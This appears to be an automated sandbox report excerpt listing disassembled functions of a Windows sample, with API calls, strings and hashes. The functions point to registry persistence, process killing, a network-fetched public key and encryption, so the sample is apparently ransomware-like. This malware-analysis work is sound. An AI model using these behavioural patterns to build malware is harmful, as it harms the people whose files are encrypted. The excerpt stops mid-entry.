Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
fopen(', xrefs: 00465611
',', xrefs: 0046560B

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Function 00425B6E Relevance: 15.1, APIs: 10, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock
String ID:
API String ID: 790675137-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

\, xrefs: 0040F548
SHGetFolderPathW, xrefs: 0040F34D
Shell32.dll, xrefs: 0040F32C

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

Error encrypting message: %s, xrefs: 0040CE67
 , xrefs: 0040CCAF
\\n, xrefs: 0040CC1B

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: 779349bd5cffae9da37cda92e0556b786322a556b4ba80c6d8d46dbb3173291c
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: 779349bd5cffae9da37cda92e0556b786322a556b4ba80c6d8d46dbb3173291c
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

ENCRYPTED, xrefs: 004633BC
Proc-Type: , xrefs: 0046337C
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
DEK-Info: , xrefs: 00463422

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

SysHelper, xrefs: 0040C6EB, 0040C71D
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

bowsakkdestx.txt, xrefs: 0041EA67
{"public_key":", xrefs: 0041EA2E

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

, xrefs: 00457482
+, xrefs: 00457475
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
0123456789abcdef, xrefs: 004574C4
0123456789ABCDEF, xrefs: 004574D6

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Function 004306EC Relevance: 10.6, APIs: 7, Instructions: 84COMMON

Download Yara Rule

APIs

___unDName.LIBCMT ref: 0043071B
_strlen.LIBCMT ref: 0043072E
__lock.LIBCMT ref: 0043074A
_malloc.LIBCMT ref: 0043075C
_malloc.LIBCMT ref: 0043076D
_free.LIBCMT ref: 004307B6

Part of subcall function 004242FD: IsProcessorFeaturePresent.KERNEL32(00000017,004242D1,i;B,?,?,00420CE9,0042520D,?,004242DE,00000000,00000000,00000000,00000000,00000000,0042981C), ref: 004242FF

_free.LIBCMT ref: 004307AF

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _free_malloc$ErrorFeatureFreeHeapLastNamePresentProcessor___un__lock_strlen
String ID:
API String ID: 3704956918-0
Opcode ID: 32e7d4c3d8e68485970837e3b5b585c67490908ba1c4539466c19c6bf2906932
Instruction ID: 67f118bcdaa5faec8c00adc58c02bfbdeebce6865ed580ae06d436c8457e8144
Opcode Fuzzy Hash: 32e7d4c3d8e68485970837e3b5b585c67490908ba1c4539466c19c6bf2906932
Instruction Fuzzy Hash: 3121DBB1A01715ABD7219B75D855B2FB7D4AF08314F90922FF4189B282DF7CE840CA98

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

func(%lu), xrefs: 00450734
error:%08lX:%s:%s:%s, xrefs: 00450792
reason(%lu), xrefs: 00450758
lib(%lu), xrefs: 0045071C

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D
.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
